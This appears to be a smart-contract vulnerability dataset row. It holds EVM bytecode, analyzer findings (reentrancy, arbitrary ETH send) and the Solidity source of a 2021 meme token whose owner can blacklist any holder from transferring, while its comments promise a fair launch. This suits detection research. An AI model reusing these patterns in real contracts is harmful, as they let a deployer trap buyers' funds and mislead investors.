0156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea0cae026689e7738db40fbb30c2045b6ac94b10a057e832c53ade98308d3b4064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,482
0x7aeee02ad7078cb1e3b856b3ffb9b0fef9801283
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ // Zach Boychuk Inu (ZachInu) // Telegram: ttps://t.me/zachboychukinu // Envisioned and Designed by @ZachBoychuk // 50% Burn // Fair Launch, no Dev Tokens. 45% LP. // 2% of Supply to Zachy Boychuk (@ZachBoychuk) // 3% to further marketing // Snipers will be nuked. // LP Lock immediately on launch. // Ownership will be renounced 30 minutes after launch. // Slippage Recommended: 12%+ // 2% Supply limit per TX for the first 5 minutes. // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZachBoychukInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Zach Boychuk"; string private constant _symbol = "ZachInu \xF0\x9F\x91\x8B"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 0; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; _teamFee = 10; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fb578063c3c8cd801461031b578063c9567bf914610330578063d543dbeb14610345578063dd62ed3e1461036557600080fd5b8063715018a6146102695780638da5cb5b1461027e57806395d89b41146102a6578063a9059cbb146102db57600080fd5b8063273123b7116100dc578063273123b7146101d6578063313ce567146101f85780635932ead1146102145780636fc3eaec1461023457806370a082311461024957600080fd5b806306fdde0314610119578063095ea7b31461016057806318160ddd1461019057806323b872dd146101b657600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b5a61636820426f796368756b60a01b60208201525b60405161015791906119fe565b60405180910390f35b34801561016c57600080fd5b5061018061017b36600461188f565b6103ab565b6040519015158152602001610157565b34801561019c57600080fd5b50683635c9adc5dea000005b604051908152602001610157565b3480156101c257600080fd5b506101806101d136600461184f565b6103c2565b3480156101e257600080fd5b506101f66101f13660046117df565b61042b565b005b34801561020457600080fd5b5060405160098152602001610157565b34801561022057600080fd5b506101f661022f366004611981565b61047f565b34801561024057600080fd5b506101f66104c7565b34801561025557600080fd5b506101a86102643660046117df565b6104f4565b34801561027557600080fd5b506101f6610516565b34801561028a57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102b257600080fd5b5060408051808201909152600c81526b5a616368496e7520f09f918b60a01b602082015261014a565b3480156102e757600080fd5b506101806102f636600461188f565b61058a565b34801561030757600080fd5b506101f66103163660046118ba565b610597565b34801561032757600080fd5b506101f661063b565b34801561033c57600080fd5b506101f6610671565b34801561035157600080fd5b506101f66103603660046119b9565b610a39565b34801561037157600080fd5b506101a8610380366004611817565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b8338484610b0c565b5060015b92915050565b60006103cf848484610c30565b610421843361041c85604051806060016040528060288152602001611bcf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611042565b610b0c565b5060019392505050565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590611a51565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a95760405162461bcd60e51b815260040161045590611a51565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e757600080fd5b476104f18161107c565b50565b6001600160a01b0381166000908152600260205260408120546103bc90611101565b6000546001600160a01b031633146105405760405162461bcd60e51b815260040161045590611a51565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b8338484610c30565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161045590611a51565b60005b8151811015610637576001600a60008484815181106105f357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062f81611b64565b9150506105c4565b5050565b600c546001600160a01b0316336001600160a01b03161461065b57600080fd5b6000610666306104f4565b90506104f181611185565b6000546001600160a01b0316331461069b5760405162461bcd60e51b815260040161045590611a51565b600f54600160a01b900460ff16156106f55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610455565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107323082683635c9adc5dea00000610b0c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076b57600080fd5b505afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a391906117fb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082391906117fb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a391906117fb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d3816104f4565b6000806108e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094b57600080fd5b505af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098491906119d1565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600a600955600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610637919061199d565b6000546001600160a01b03163314610a635760405162461bcd60e51b815260040161045590611a51565b60008111610ab35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000